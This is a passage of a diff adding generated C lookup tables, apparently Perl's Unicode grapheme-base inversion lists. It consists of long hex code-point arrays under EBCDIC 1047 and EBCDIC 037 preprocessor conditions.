+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD3F,
+	0xD41,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4D,
+	0xD4E,
+	0xD50,
+	0xD54,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDD0,
+	0xDD2,
+	0xDD8,
+	0xDDF,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3F,
+	0xE47,
+	0xE4F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xFBE,
+	0xFC6,
+	0xFC7,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1360,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1735,
+	0x1737,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180B,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x192C,
+	0x1930,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1E,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B4C,
+	0x1B50,
+	0x1B6B,
+	0x1B74,
+	0x1B7D,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1BF4,
+	0x1BFC,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2010,
+	0x2028,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2E00,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x302A,
+	0x3030,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x309B,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C4,
+	0xA8CE,
+	0xA8DA,
+	0xA8F2,
+	0xA8FE,
+	0xA900,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9E5,
+	0xA9E6,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFC,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FD,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E1,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A40,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE5,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11173,
+	0x11174,
+	0x11177,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112F0,
+	0x112FA,
+	0x11302,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x1133F,
+	0x11340,
+	0x11341,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11364,
+	0x11400,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114B0,
+	0x114B1,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115AF,
+	0x115B0,
+	0x115B2,
+	0x115B8,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x11600,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A50,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C30,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11CA9,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF5,
+	0x16AF6,
+	0x16B00,
+	0x16B30,
+	0x16B37,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D165,
+	0x1D166,
+	0x1D167,
+	0x1D16A,
+	0x1D16E,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D242,
+	0x1D245,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA8C,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D0,
+	0x1E900,
+	0x1E944,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_GRBASE_invlist[] = { /* for EBCDIC 037 */
+	1583,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0xCA,
+	0xCB,
+	0xFF,
+	0x100,
+	0x300,
+	0x370,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x483,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x606,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DE,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x70E,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7C0,
+	0x7EB,
+	0x7F4,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x830,
+	0x83F,
+	0x840,
+	0x859,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9BF,
+	0x9C1,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CD,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9E6,
+	0x9FE,
+	0xA03,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3E,
+	0xA41,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA83,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xAC1,
+	0xAC9,
+	0xACA,
+	0xACB,
+	0xACD,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xAFA,
+	0xB02,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB40,
+	0xB41,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB66,
+	0xB78,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBF,
+	0xBC0,
+	0xBC1,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCD,
+	0xBD0,
+	0xBD1,
+	0xBE6,
+	0xBFB,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC41,
+	0xC45,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC81,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBF,
+	0xCC0,
+	0xCC2,
+	0xCC3,
+	0xCC5,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD3F,
+	0xD41,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4D,
+	0xD4E,
+	0xD50,
+	0xD54,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDD0,
+	0xDD2,
+	0xDD8,
+	0xDDF,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3F,
+	0xE47,
+	0xE4F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
